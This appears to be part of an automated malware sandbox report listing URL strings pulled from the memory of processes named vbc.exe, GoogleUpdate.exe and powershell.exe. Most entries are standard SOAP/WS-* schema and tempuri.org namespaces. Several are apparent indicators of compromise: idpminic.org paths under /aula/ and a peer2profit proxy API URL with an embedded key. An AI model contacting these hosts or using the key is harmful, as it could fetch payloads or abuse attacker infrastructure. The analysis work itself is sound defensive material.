Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#Kerberosv5APREQSHA1
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-rel-token-profile-1.0.pdf#license
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV1.1
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLV2.0
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKey
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#EncryptedKeySHA1
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd
Source: GoogleUpdate.exe, 00000026.00000002.648721072.0000000003522000.00000002.00001000.00020000.00000000.sdmp	String found in binary or memory: http://https://https://api.peer2profit.com/api/proxy/nodes/getSDK_HNxLiosRObz7XTOaZ8bHE4eMWAzgAv926j
Source: vbc.exe, 00000002.00000002.446993118.0000000006CF0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.445869769.0000000006CC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://idpminic.org
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/actor/next
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2002/12/policy
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/sc
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Issue
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/Issue
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/security/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/PublicKey
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/06/addressingex
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Commit
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Completion
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Durable2PC
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepare
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Prepared
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/ReadOnly
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Replay
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/Volatile2PC
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wsat/fault
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/RegisterResponse
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/10/wscoor/fault
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/LastMessage
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/sc/sct
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Cancel
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Issue
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Nonce
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Cancel
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RST/SCT/Renew
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/Renew
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/SymmetricKey
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/spnego
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000039.00000002.553791025.000002974D971000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2006/02/addressingidentity
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id10Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.454545793.0000000006E8C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id11Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id12Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id13Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id14Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id15Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id16Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id17Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id18Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id19Responseon
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id1Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id20Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id21Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22
Source: vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id22Responseon
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441695478.0000000006C6A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id23Response
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.447698800.0000000006D16000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id24Response
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id2Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id3Response
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id4y/
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id5Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id6Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id7Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id8Response
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9
Source: vbc.exe, 00000002.00000002.437618947.0000000006B31000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tempuri.org/Entity/Id9Response
Source: vbc.exe, 00000002.00000002.445409967.0000000006CB3000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.446993118.0000000006CF0000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.446472172.0000000006CDA000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.445869769.0000000006CC2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idpminic.org
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.445409967.0000000006CB3000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idpminic.org/aula/dmi1dfg7n.kjylug
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.447270739.0000000006D02000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idpminic.org/aula/f429fjd4uf84u.sdfh
Source: vbc.exe, 00000002.00000002.439404247.0000000006BC2000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.446472172.0000000006CDA000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.441819092.0000000006C6E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idpminic.org/aula/ofg7d45fsdfgg312.sfhg
Source: vbc.exe, 00000002.00000002.445409967.0000000006CB3000.00000004.00000800.00020000.00000000.sdmp, vbc.exe, 00000002.00000002.446472172.0000000006CDA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idpminic.org4
Source: vbc.exe, 00000002.00000002.447270739.0000000006D02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.idpminic.orgD8
